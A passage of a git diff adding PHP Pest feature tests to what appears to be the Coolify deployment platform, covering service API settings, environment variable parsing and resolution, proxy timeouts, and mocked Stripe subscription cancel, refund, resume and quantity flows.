validation fails', function () { + $serverMock = Mockery::mock($this->server)->makePartial(); + $serverMock->shouldReceive('isSwarm')->andReturn(false); + $serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn(false); + $serverMock->shouldNotReceive('gatherServerMetadata'); + + Livewire::test(ValidateAndInstall::class, ['server' => $serverMock]) + ->call('validateDockerVersion'); +}); diff --git a/tests/Feature/ServiceContainerLabelEscapeApiTest.php b/tests/Feature/ServiceContainerLabelEscapeApiTest.php new file mode 100644 index 000000000..895d776f0 --- /dev/null +++ b/tests/Feature/ServiceContainerLabelEscapeApiTest.php @@ -0,0 +1,75 @@ + 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = $this->project->environments()->first(); +}); + +function serviceContainerLabelAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/services/{uuid}', function () { + test('accepts is_container_label_escape_enabled field', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => false, + ]); + + $response->assertStatus(200); + + $service->refresh(); + expect($service->is_container_label_escape_enabled)->toBeFalse(); + }); + + test('rejects invalid is_container_label_escape_enabled value', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => 'not-a-boolean', + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php new file mode 100644 index 000000000..97bb0fd2a --- /dev/null +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -0,0 +1,77 @@ +create(); + + $project = Project::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'Test Project', + 'team_id' => $team->id, + ]); + + $environment = Environment::create([ + 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + 'project_id' => $project->id, + ]); + + $service = Service::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase', + 'environment_id' => $environment->id, + 'destination_id' => 1, + 'destination_type' => 'App\Models\StandaloneDocker', + 'docker_compose_raw' => 'version: "3"', + ]); + + $serviceDatabase = ServiceDatabase::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase-db', + 'service_id' => $service->id, + ]); + + expect($serviceDatabase->team())->not->toBeNull() + ->and($serviceDatabase->team()->id)->toBe($team->id); +}); + +it('returns the correct team for ServiceApplication through the service relationship chain', function () { + $team = Team::factory()->create(); + + $project = Project::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'Test Project', + 'team_id' => $team->id, + ]); + + $environment = Environment::create([ + 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + 'project_id' => $project->id, + ]); + + $service = Service::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase', + 'environment_id' => $environment->id, + 'destination_id' => 1, + 'destination_type' => 'App\Models\StandaloneDocker', + 'docker_compose_raw' => 'version: "3"', + ]); + + $serviceApplication = ServiceApplication::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase-studio', + 'service_id' => $service->id, + ]); + + expect($serviceApplication->team())->not->toBeNull() + ->and($serviceApplication->team()->id)->toBe($team->id); +}); diff --git a/tests/Feature/ServiceMagicVariableOverwriteTest.php b/tests/Feature/ServiceMagicVariableOverwriteTest.php new file mode 100644 index 000000000..c592b047e --- /dev/null +++ b/tests/Feature/ServiceMagicVariableOverwriteTest.php @@ -0,0 +1,171 @@ +create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Compose template where: + // - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1) + // - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic) + $template = <<<'YAML' +services: + nginx: + image: nginx:latest + environment: + - SERVICE_FQDN_NGINX_8080 + ports: + - "8080:80" + backend: + image: node:20-alpine + environment: + - PUBLIC_URL=${SERVICE_URL_NGINX} + - PUBLIC_FQDN=${SERVICE_FQDN_NGINX} +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'test-service', + 'docker_compose_raw' => $template, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'nginx', + 'fqdn' => null, + ]); + + // Initial parse - generates auto FQDNs + $service->parse(); + + $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); + $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); + + // All four variables should exist after initial parse + expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist'); + expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist'); + expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist'); + expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist'); + + // Now simulate user changing domain via UI (EditDomain::submit flow) + $serviceApp->fqdn = 'https://my-nginx.example.com:8080'; + $serviceApp->save(); + + // updateCompose() runs first (sets correct values) + updateCompose($serviceApp); + + // Then parse() runs (should NOT overwrite the correct values) + $service->parse(); + + // Reload all variables + $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); + $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); + + // ALL variables should reflect the custom domain + expect($baseUrl->value)->toBe('https://my-nginx.example.com') + ->and($baseFqdn->value)->toBe('my-nginx.example.com') + ->and($portUrl->value)->toBe('https://my-nginx.example.com:8080') + ->and($portFqdn->value)->toBe('my-nginx.example.com:8080'); +})->skip('Requires database - run in Docker'); + +test('magic variable references do not overwrite direct template declarations on initial parse', function () { + $server = Server::factory()->create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Backend references the port-specific variable via magic syntax + $template = <<<'YAML' +services: + app: + image: nginx:latest + environment: + - SERVICE_FQDN_APP_3000 + ports: + - "3000:3000" + worker: + image: node:20-alpine + environment: + - API_URL=${SERVICE_URL_APP_3000} +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'test-service', + 'docker_compose_raw' => $template, + ]); + + ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'app', + 'fqdn' => null, + ]); + + // Parse the service + $service->parse(); + + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first(); + + // Port-specific vars should have port as a URL port suffix (:3000), + // NOT baked into the subdomain (app-3000-uuid.sslip.io) + expect($portUrl)->not->toBeNull(); + expect($portFqdn)->not->toBeNull(); + expect($portUrl->value)->toContain(':3000'); + // The domain should NOT have 3000 in the subdomain + $urlWithoutPort = str($portUrl->value)->before(':3000')->value(); + expect($urlWithoutPort)->not->toContain('3000'); +})->skip('Requires database - run in Docker'); + +test('parsers.php uses firstOrCreate for magic variable references', function () { + $parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php')); + + // Find the magic variables section (Section 2) which processes ${SERVICE_*} references + // It should use firstOrCreate, not updateOrCreate, to avoid overwriting values + // set by direct template declarations (Section 1) or updateCompose() + + // Look for the specific pattern: the magic variables section creates FQDN and URL pairs + // after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments + + // Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach) + $magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0'); + expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist'); + + $magicSection = substr($parsersFile, $magicSectionStart, 5000); + + // Count updateOrCreate vs firstOrCreate in the magic section + $updateOrCreateCount = substr_count($magicSection, 'updateOrCreate'); + $firstOrCreateCount = substr_count($magicSection, 'firstOrCreate'); + + // Magic section should use firstOrCreate for SERVICE_URL/FQDN variables + expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs') + ->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables'); +}); diff --git a/tests/Feature/SharedVariableComposeResolutionTest.php b/tests/Feature/SharedVariableComposeResolutionTest.php new file mode 100644 index 000000000..5ffb027f0 --- /dev/null +++ b/tests/Feature/SharedVariableComposeResolutionTest.php @@ -0,0 +1,128 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +test('resolveSharedEnvironmentVariables resolves environment-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DRAGONFLY_URL', + 'value' => 'redis://dragonfly:6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{environment.DRAGONFLY_URL}}', $this->application); + expect($resolved)->toBe('redis://dragonfly:6379'); +}); + +test('resolveSharedEnvironmentVariables resolves project-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DB_HOST', + 'value' => 'postgres.internal', + 'type' => 'project', + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{project.DB_HOST}}', $this->application); + expect($resolved)->toBe('postgres.internal'); +}); + +test('resolveSharedEnvironmentVariables resolves team-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'GLOBAL_API_KEY', + 'value' => 'sk-123456', + 'type' => 'team', + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{team.GLOBAL_API_KEY}}', $this->application); + expect($resolved)->toBe('sk-123456'); +}); + +test('resolveSharedEnvironmentVariables returns original when no match found', function () { + $resolved = resolveSharedEnvironmentVariables('{{environment.NONEXISTENT}}', $this->application); + expect($resolved)->toBe('{{environment.NONEXISTENT}}'); +}); + +test('resolveSharedEnvironmentVariables handles null and empty values', function () { + expect(resolveSharedEnvironmentVariables(null, $this->application))->toBeNull(); + expect(resolveSharedEnvironmentVariables('', $this->application))->toBe(''); + expect(resolveSharedEnvironmentVariables('plain-value', $this->application))->toBe('plain-value'); +}); + +test('resolveSharedEnvironmentVariables resolves multiple variables in one string', function () { + SharedEnvironmentVariable::create([ + 'key' => 'HOST', + 'value' => 'myhost', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + SharedEnvironmentVariable::create([ + 'key' => 'PORT', + 'value' => '6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('redis://{{environment.HOST}}:{{environment.PORT}}', $this->application); + expect($resolved)->toBe('redis://myhost:6379'); +}); + +test('resolveSharedEnvironmentVariables handles spaces in pattern', function () { + SharedEnvironmentVariable::create([ + 'key' => 'MY_VAR', + 'value' => 'resolved-value', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{ environment.MY_VAR }}', $this->application); + expect($resolved)->toBe('resolved-value'); +}); + +test('EnvironmentVariable real_value still resolves shared variables after refactor', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DRAGONFLY_URL', + 'value' => 'redis://dragonfly:6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $env = EnvironmentVariable::create([ + 'key' => 'REDIS_URL', + 'value' => '{{environment.DRAGONFLY_URL}}', + 'resourceable_id' => $this->application->id, + 'resourceable_type' => $this->application->getMorphClass(), + ]); + + expect($env->real_value)->toBe('redis://dragonfly:6379'); +}); diff --git a/tests/Feature/SharedVariableDevViewTest.php b/tests/Feature/SharedVariableDevViewTest.php new file mode 100644 index 000000000..779be26a9 --- /dev/null +++ b/tests/Feature/SharedVariableDevViewTest.php @@ -0,0 +1,79 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'admin']); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +test('environment shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class) + ->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value") + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('MY_VAR') + ->and($vars['MY_VAR'])->toBe('my_value') + ->and($vars)->toHaveKey('ANOTHER_VAR') + ->and($vars['ANOTHER_VAR'])->toBe('another_value'); +}); + +test('project shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Project\Show::class) + ->set('variables', 'PROJ_VAR=proj_value') + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->project->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('PROJ_VAR') + ->and($vars['PROJ_VAR'])->toBe('proj_value'); +}); + +test('team shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Team\Index::class) + ->set('variables', 'TEAM_VAR=team_value') + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->team->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('TEAM_VAR') + ->and($vars['TEAM_VAR'])->toBe('team_value'); +}); + +test('environment shared variable dev view updates existing variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'old_value', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class) + ->set('variables', 'EXISTING_VAR=new_value') + ->call('submit') + ->assertHasNoErrors(); + + $var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first(); + expect($var->value)->toBe('new_value'); +}); diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php index c62569866..b14cb414a 100644 --- a/tests/Feature/StartDatabaseProxyTest.php +++ b/tests/Feature/StartDatabaseProxyTest.php @@ -43,3 +43,15 @@ ->and($method->invoke($action, 'network timeout'))->toBeFalse() ->and($method->invoke($action, 'connection refused'))->toBeFalse(); }); + +test('buildProxyTimeoutConfig normalizes invalid values to default', function (?int $input, string $expected) { + $action = new StartDatabaseProxy; + $method = new ReflectionMethod($action, 'buildProxyTimeoutConfig'); + + expect($method->invoke($action, $input))->toBe($expected); +})->with([ + [null, 'proxy_timeout 3600s;'], + [0, 'proxy_timeout 3600s;'], + [-10, 'proxy_timeout 3600s;'], + [120, 'proxy_timeout 120s;'], +]); diff --git a/tests/Feature/Subscription/CancelSubscriptionActionsTest.php b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php new file mode 100644 index 000000000..0c8742d06 --- /dev/null +++ b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php @@ -0,0 +1,96 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_456', + 'stripe_customer_id' => 'cus_test_456', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_456', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; +}); + +describe('CancelSubscriptionAtPeriodEnd', function () { + test('cancels subscription at period end successfully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_456', ['cancel_at_period_end' => true]) + ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => true]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_cancel_at_period_end)->toBeTruthy(); + expect($this->subscription->stripe_invoice_paid)->toBeTruthy(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not active', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not active'); + }); + + test('fails when already set to cancel at period end', function () { + $this->subscription->update(['stripe_cancel_at_period_end' => true]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('already set to cancel'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); +}); diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php new file mode 100644 index 000000000..b6c2d4064 --- /dev/null +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -0,0 +1,271 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_123', + 'stripe_customer_id' => 'cus_test_123', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_123', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockInvoices = Mockery::mock(InvoiceService::class); + $this->mockRefunds = Mockery::mock(RefundService::class); + + $this->mockStripe->subscriptions = $this->mockSubscriptions; + $this->mockStripe->invoices = $this->mockInvoices; + $this->mockStripe->refunds = $this->mockRefunds; +}); + +describe('checkEligibility', function () { + test('returns eligible when subscription is within 30 days', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeTrue(); + expect($result['days_remaining'])->toBe(20); + }); + + test('returns ineligible when subscription is past 30 days', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(35)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['days_remaining'])->toBe(0); + expect($result['reason'])->toContain('30-day refund window has expired'); + }); + + test('returns ineligible when subscription is not active', function () { + $stripeSubscription = (object) [ + 'status' => 'canceled', + 'start_date' => now()->subDays(5)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + }); + + test('returns ineligible when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('No active subscription'); + }); + + test('returns ineligible when invoice is not paid', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('not paid'); + }); + + test('returns ineligible when team has already been refunded', function () { + $this->subscription->update(['stripe_refunded_at' => now()->subDays(60)]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('already been processed'); + }); + + test('returns ineligible when stripe subscription not found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andThrow(new \Stripe\Exception\InvalidRequestException('No such subscription')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('not found in Stripe'); + }); +}); + +describe('execute', function () { + test('processes refund successfully', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andReturn((object) ['status' => 'canceled']); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_feedback)->toBe('Refund requested by user'); + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + }); + + test('prevents a second refund after re-subscribing', function () { + $this->subscription->update([ + 'stripe_refunded_at' => now()->subDays(15), + 'stripe_invoice_paid' => true, + 'stripe_subscription_id' => 'sub_test_new_456', + ]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('already been processed'); + }); + + test('fails when no paid invoice found', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => []]; + + $this->mockInvoices + ->shouldReceive('all') + ->andReturn($invoiceCollection); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No paid invoice'); + }); + + test('fails when invoice has no payment intent', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => null], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->andReturn($invoiceCollection); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No payment intent'); + }); + + test('fails when subscription is past refund window', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(35)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('30-day refund window'); + }); +}); diff --git a/tests/Feature/Subscription/ResumeSubscriptionTest.php b/tests/Feature/Subscription/ResumeSubscriptionTest.php new file mode 100644 index 000000000..8632a4c07 --- /dev/null +++ b/tests/Feature/Subscription/ResumeSubscriptionTest.php @@ -0,0 +1,85 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_789', + 'stripe_customer_id' => 'cus_test_789', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_789', + 'stripe_cancel_at_period_end' => true, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; +}); + +describe('ResumeSubscription', function () { + test('resumes subscription successfully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_789', ['cancel_at_period_end' => false]) + ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => false]); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_cancel_at_period_end)->toBeFalsy(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not set to cancel', function () { + $this->subscription->update(['stripe_cancel_at_period_end' => false]); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not set to cancel'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); +}); diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php new file mode 100644 index 000000000..3e13170f0 --- /dev/null +++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php @@ -0,0 +1,375 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_qty', + 'stripe_customer_id' => 'cus_test_qty', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_qty', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockInvoices = Mockery::mock(InvoiceService::class); + $this->mockTaxRates = Mockery::mock(TaxRateService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; + $this->mockStripe->invoices = $this->mockInvoices; + $this->mockStripe->taxRates = $this->mockTaxRates; + + $this->stripeSubscriptionResponse = (object) [ + 'items' => (object) [ + 'data' => [(object) [ + 'id' => 'si_item_123', + 'quantity' => 2, + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'], + ]], + ], + ]; +}); + +describe('UpdateSubscriptionQuantity::execute', function () { + test('updates quantity successfully', function () { + Queue::fake(); + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockSubscriptions + 